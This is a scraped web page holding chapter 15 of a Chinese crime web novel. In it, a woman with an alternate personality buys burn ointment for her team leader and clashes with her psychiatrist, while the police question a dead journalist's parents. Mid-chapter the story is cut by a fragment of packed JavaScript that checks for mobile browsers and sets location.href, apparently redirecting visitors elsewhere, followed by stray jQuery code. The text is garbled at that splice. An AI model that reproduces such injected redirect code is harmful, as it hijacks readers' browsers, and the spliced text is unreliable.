默认冷灰
24号文字
方正启体

15. 第 15 章

作者:同心难改的胡耀耀本书字数:K更新时间:
    顾时念轻轻推开刑侦中心后院大门,身影很快消失在灰蒙蒙的天色里。


    她仍是那副散懒模样,慢条斯理地游走在街头,直到看见斑马线,才悠然顿住脚步。


    原本打算去一趟时鉴刑科所,只是在等红绿灯时,目光无意落在街对面的门头上。


    她抬手揉着脸蛋,纪南星那片被茶水烫红的脸颊,莫名刻在了脑子里,惹来挥之不去的叨扰。


    穿过街道,她走向那家亮着暖灯的药店,快要进门时,脚步却停了下来,迟疑了好半天,终是推开了门。


    “拿支烫伤膏。”顾时念倚到柜台边,指尖漫不经心地敲着柜面,瞧见货架上各式各样的药膏,神色飘忽不定,急忙补充道:“要最好的。”


    店员麻利取来一支药膏,笑着问:“小姐,需要搭配消毒棉片吗?烫伤面积大不大?”


    “没必要。”顾时念故作无所谓,但接过药膏后细细查看成分,觉得还算温和才付了钱。


    她将药盒塞进大衣兜里,指尖触到包装微凉,有些不耐地暗讽自己:你什么时候有了菩萨心肠?那家伙皮糙肉厚,被烫一下又死不了。


    纵使在心底万般抵触,可脑海里又浮起纪南星紧绷的侧脸,还有挡在她身前时,那道挺拔又可靠的背影。


    顾时念嗤笑着摇头。


    罢了,那家伙生得俊俏,烫伤留了疤可不好看,毕竟抬头不见低头见,到时候碍眼的不也还是自己?就当是大发慈悲咯。


    走到店门口,湿寒的风灌了进来,她拢了拢大衣领口,看见几步之遥的刑科所,顿时陷进微妙的选择里。


    顾时念指尖点着下巴,寻思再去逗逗那个冷脸队长,还是借办正事的由头,把这突如其来的在意好好压下去?


    那只揣在兜里的手给出了答案,烫伤膏被掌心攥得发紧,成了这个平常午后,最隐秘的温柔。


    她脚下没有停歇,只是调了个头,重新朝着刑侦中心的方向走去。


    “时念?你要去哪儿?”


    走了没两步,身后传来熟悉的招呼声。


    顾时念回身看去,只见秦丛一伫在刑科所的门口,正一脸狐疑地盯着她身后的药店。


    她偏了偏脑袋,虚睨着那张渐渐沉郁的脸庞,索性展露出轻蔑的笑容。


    待到走近,她顷身凑到秦丛一耳边,“你是狗吗,怎么闻着味儿就来了?”


    那奚落的语调配上糟糕的字眼,态度恶劣到令人发指,也轻易暴露出此刻占据身体的人,究竟是谁。


    秦丛一总是一副不苟言笑的模样,即便被恶语相向,脸上依旧不起丝毫波澜。


    她安静打量顾时念的脸庞,似在靠眼睛去记录病患的行为反应。


    气氛沉凝,好在没有造起随时爆发的硝烟味。


    秦丛一侧身,让出一条路,“顾今安,我们应该好好谈一谈。”


    顾时念并不理会她的邀约,反问道:“你知道对我来说,什么最重要吗?”


    “无非是时间,或者自由罢了。”秦丛一轻描淡写的回答,转身朝着门里走去,“我尊重你的存在,所以从不制约你,但也请你配合治疗,至少每次你是怎么出现的,我都要做好问卷记录,为了时念,这样的要求不过分。”


    她很自信,知道那恶劣的次人格会跟上自己的脚步。


    顾时念戏谑的表情收敛几分,终是不紧不慢地跟在后面,冷笑着:“哼,你还挺会摸人性子,知道说什么话...是有效...有效沟通...”


    话音未落,高跟鞋点在瓷砖上,发出几声凌乱的磕碰。


    顾时念的脑袋一阵天旋地转,步履跌跌撞撞,重心不稳地偏倒在墙边。


    好在秦丛一一直在暗中关注她的动向,听到不对劲,急忙回身将人牢牢扶住,关心着:“你还好吗,身体哪里不舒服?”


    顾时念眉头拧出深深的川字纹,视线模糊不清,秦丛一的脸散出好几个重影。


    她试图聚焦目光,但眩晕感越发严重,整个世界都在极速飞转,连带着刺破神经的耳鸣,让人听不清周遭的声音。


    她头疼得扶着额门,太阳穴上绷出骇眼的青筋。


    即便如此,她始终咬紧牙关不松,强忍着猝不及防的疾病折磨,却倔强得不肯发出一声哀嚎。


    秦丛一用力搂住顾时念的肩,步履艰难的带着人躲进安全出口。


    空旷又昏暗的楼道里,回荡着顾时念沉重又急促的呼吸声。


    她狼狈地佝着脖子,怎都无法抑制满身的战栗,只能大口大口汲取着浑浊的空气。


    目光所及的一切,都在精神世界里轰然崩塌,又似时光倒流般被重塑,直到促息声渐渐归于平静。


    “深呼吸...深呼吸...”秦丛一抚着她的背,神色很是懊恼,似在自责没有随身携带镇定针剂,“抱歉,我...”


    “我没事。”顾时念眸色淡泠,抬手推开紧抱着自己的人,语调冷静得仿佛刚刚发生的一切,都不过是幻觉。


    秦丛一不敢确定道:“时念?”


    “嗯。”顾时念恢复到寡言的状态,沉默了好半天,才呢-喃着:“你也看到了,我们切换的频率越来越密,越来越毫无征兆。”


    “恕我直言,你不能再放任她这么胡乱的出现。”秦丛一的脸上浮起难掩的心疼,轻声祈求着:“我会调整治疗方案,尽量控制病症,跟我回康养中心吧。”


    顾时念摆手拒绝:“不了,我还有事要办。”


    “还有什么事比命更重要?”秦丛一斥责,执拗地劝说着:“再不接受系统治疗,你真的会疯!”


    空气凝滞了几秒,忽而荡起阴森的大笑,响彻在楼梯间。


    “哈哈哈——哈哈哈——”顾时念笑得肆意猖狂,甚至扶墙曲了腰,极力忍了好一会儿才渐渐消停。


    “怎么样?”她拂去勾在唇角的发丝,看向秦丛一时,得逞地抬起下巴:“我学她,学得像不像?”


    “顾今安?”秦丛一虚瞪着眸,很快又敛去了诧异的神色,沉声质问着:“你到底要疯成什么样子,才肯罢休?”


    顾时念笑容发邪,极度享受这样的感觉,对方的脸色有多难堪,满足感便有多鼎盛。


    “我这不给你机会好好观察,你特殊的患者,究竟是怎么发病的?”她故作无辜,卷起一缕发丝在指尖细碾,“你看我多贴心啊,怎么能怪我疯呢?”


    说罢,她将手揣进衣兜,摸到烫伤膏时指尖微微发颤,似乎还在隐忍人格之间在大脑里的博弈,直到把盒子捏变了形。


    秦丛一无视她的歪理邪说,反驳道:“刚刚的发作代表她想出现,你的行为已经越界了,你究竟是怎么做到的?”


    “你都说了我是疯子,你跟一个疯子讲道理,不觉得可笑吗?”顾时念讥着朝门口走去,落下一句看似威胁,又充满哲理的忠告:“记住,自我出现起,这具身体就不再是顾时念一个人说了算,我护着她不代表我什么都要听之任之,存在即合理,除非湮灭我。”


    秦丛一唇瓣翕动,似想说些什么,可也没再开口阻拦。


    她眼睁睁看着顾时念离去,只觉得无能为力,喃喃自语着:“她开始不受控制了...时念...你该怎么办...”


    *


    纪南星陪着肖梦做完认尸的工作流程,走出解剖室,发现屋子里早没了顾时念的踪影,阴郁的脸色又冷了几分。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508124|202561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她轻嗤一声,在心底痛斥那女人太过随心所欲,自始至终没把规矩当回事,这不摆明了跟她对着干?


    本就被低温裹挟的法鉴室,此刻的气氛越发冷凝。


    程灿正喝水歇气,终于等到队长出来,便急忙递上报告,嘘声问着:“头儿,真给他俩扣了?”


    “扣。”纪南星答得斩钉截铁,忙着埋头翻看报告,连正眼都懒得瞧那对伥鬼夫妇,“先给他们做笔录,再接受批评教育,还要手写保证书,等扣满时限再放。”


    男人快要坐不住了,听到还要继续被扣留,突然亮着嗓门埋怨:“警官!咱们血也抽了,尸也认了,差不多得了!”


    别看程灿平时嘻嘻哈哈,真办起事儿来丝毫不含糊。


    “嚷什么嚷?你当这里是什么地方,闹完事了想来就来、想走就走?”他一声呵斥,瞬时把男人训成了哑炮。


    纪南星走到二人面前,按着报告里的内容,例行问讯:“苏永来?”


    男人怂着肩头,循声愣了神,不安道:“昂...我是...”


    “你叫柳蔼华?”纪南星转眼看向女人,确认着:“是苏晴的继母?”


    女人和丈夫面面相觑,只得老实巴交地点头。


    纪南星舒出一口气,案情终于有了进展,既然确定了死者身份,人物关系也明朗许多,意味着调查范围全面拓宽。


    “程灿,叫人过来带他们去做笔录。”纪南星指了指夫妇俩,转而要求道:“肖小姐,案子还有很多细节需要确认,你也得做笔录,事后请随时保持电话畅通,便于我们联系你。”


    肖梦仿佛还被困在一帘之隔的解剖室里,丢了魂的恍恍惚惚,不管听到什么动静,都只是默不作声地点头。


    程灿得令,带着一行人离开法鉴室。


    顷刻间,闹腾消弭,只剩冷气口发出嗖嗖低鸣声。


    纪南星没有离开的意思,倚在桌边思考着什么,手里的报告小有节奏地敲着膝盖。


    温翎放下幕帘,回到办公桌前坐定,“在想案子?”


    纪南星眸光凝神,侧头看向她,但依旧保持着抿嘴不语的模样。


    她确实在思考报告里的细枝末节,那些微妙到让人忽视的字眼,往往藏着不可估量的隐情。


    温翎心领神会地笑了笑,轻松将那掩蔽真相的疑云挥散,“如果没猜错的话,你在想苏晴的职业?”


    队里除了敖羽办事沉稳,就数她看人识物最精,总能猜到寡言少语的队长在想什么。


    “嗯。”纪南星摩挲下巴,凭借多年破案的经验,推测道:“也许记者身份,能给我们带来意想不到的收获,毕竟社会新闻容易触碰红线。虽然从勘验结果来看,苏晴的死倾向于为情自杀,但不排除她正在调查什么,因而触碰了谁的利益。当然,这只是我的猜想,但愿事态不复杂,别再牵扯出更多的疑难杂案。”


    温翎正要开口接话,却被突然闯入的身影打断。


    刘嘉麒跑得上气不接下气,弯腰扶着膝头平复呼吸:“头儿...可算找到你了...”


    纪南星卷起手里的报告,没好气地敲在他脑门上,“你怎么跟程灿一副德性,冒冒失失。”


    “诶!可不能赖我冒失,我拷到了非常关键的视频!”刘嘉麒无奈地揉了揉脑袋,递出攥在手里的U盘,继续解释着:“校舍围墙外那条路的出口有监控,你们猜怎么着...”


    这家伙说到关键时刻,声音戛然而止。


    温翎正听得入迷,瞬时塌下肩头,没好气道:“可不兴这样吊人胃口。”


    “让你认真汇报工作,玩什么故弄玄虚?”纪南星又卷起报告,用力砸在他脑门上,“说重点。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)